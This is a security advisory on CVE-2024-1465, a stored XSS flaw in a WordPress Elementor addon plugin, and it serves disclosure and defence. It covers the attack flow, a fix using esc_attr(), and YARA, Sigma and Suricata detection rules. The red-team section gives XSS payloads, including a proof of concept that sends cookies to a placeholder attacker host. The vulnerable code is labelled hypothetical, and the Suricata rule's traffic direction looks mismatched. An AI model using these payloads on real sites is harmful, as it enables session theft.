CVE-2024-1465

Executive Summary

CVE-2024-1465 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.4. The flaw resides in the carousel_skin attribute of the Posts Carousel widget. Insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious widget, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create or edit posts. The EPSS score of 0.0% indicates low exploitation likelihood currently, but the public availability of proof-of-concept code increases risk.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported, but the unpatched status raises concerns about long-term risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Victim visits page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the potential for stored XSS in a widely-used plugin warrants immediate attention.

Deep Dive & Mechanics

The vulnerability exists in the Posts Carousel widget provided by the Elementor Addons by Livemesh plugin. The carousel_skin attribute is used to define the visual style of the carousel. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into this attribute.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page using Elementor.
2. The attacker adds the Posts Carousel widget and sets the carousel_skin attribute to a malicious payload, e.g., "><script>alert('XSS')</script>.
3. The plugin stores this payload in the database without proper sanitization.
4. When any user (including administrators) views the page, the payload executes in their browser.

Root Cause: The plugin fails to escape the carousel_skin attribute when rendering the widget, allowing HTML/JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example from plugin):

// In widget render function
$carousel_skin = $settings['carousel_skin'];
echo '<div class="carousel-skin-' . $carousel_skin . '">';

Patched Code (expected fix):

// Properly escape output
$carousel_skin = esc_attr($settings['carousel_skin']);
echo '<div class="carousel-skin-' . $carousel_skin . '">';

The patch would use esc_attr() or wp_kses() to sanitize the attribute before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Elementor Addons by Livemesh <= 8.3.4
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Add the Posts Carousel widget via Elementor.
4. In the widget settings, locate the carousel_skin field.
5. Inject payload: "><img src=x onerror=alert(document.cookie)>
6. Save and publish the post.
7. When an admin or other user views the post, the XSS triggers.

Proof-of-Concept Payload:

"><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual carousel_skin values in database entries.
• Look for posts/pages created by contributors containing suspicious HTML/JavaScript.
• Use WAF rules to block common XSS patterns in POST requests.

Hardening:

• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use a Web Application Firewall (WAF) with XSS detection rules.
• Regularly audit plugin code for similar vulnerabilities.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ElementorAddonsByLivemesh/... (check for modified files)
• Database: Posts/pages with carousel_skin containing <script> or onerror attributes
• Network: Outbound connections to attacker-controlled domains from WordPress admin
• Logs: Elementor debug logs showing unusual widget settings

Detection Engineering

YARA Rule

rule CVE_2024_1465_XSS_Detection {
    meta:
        description = "Detects malicious carousel_skin attribute in Elementor Addons by Livemesh"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1465"
    strings:
        $xss_payload = /carousel_skin["']?\s*[:=]\s*["'][^"']*<script[^>]*>/
        $xss_onerror = /carousel_skin["']?\s*[:=]\s*["'][^"']*onerror\s*=/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1465 Stored XSS in Elementor Addons by Livemesh
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS via carousel_skin attribute in WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: "/wp-admin/admin-ajax.php"
        http.body|contains: "carousel_skin"
        http.body|contains|re: "(<script|onerror|onload)"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in carousel skin names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1465 Stored XSS Attempt"; flow:to_server,established; content:"carousel_skin"; http_client_body; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict contributor roles to only trusted users.
3. Implement CSP headers to block inline scripts:

   Header set Content-Security-Policy "script-src 'self';"
   

4. Use a WAF with rules to block XSS payloads in POST parameters.

Long-term Fix:

• Monitor the Livemesh plugin repository for an official patch.
• Consider replacing the plugin with an alternative that is actively maintained.
• Conduct a security audit of all Elementor widgets for similar vulnerabilities.

Patch Workaround (if source code access available):

• Edit the plugin file (e.g., widgets/posts-carousel.php) and add esc_attr() around $settings['carousel_skin'].

Valters IT
Securing Digital Frontiers